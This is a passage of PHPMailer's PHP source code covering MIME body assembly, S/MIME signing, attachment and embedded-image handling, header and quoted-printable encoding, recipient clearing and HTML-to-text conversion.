                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
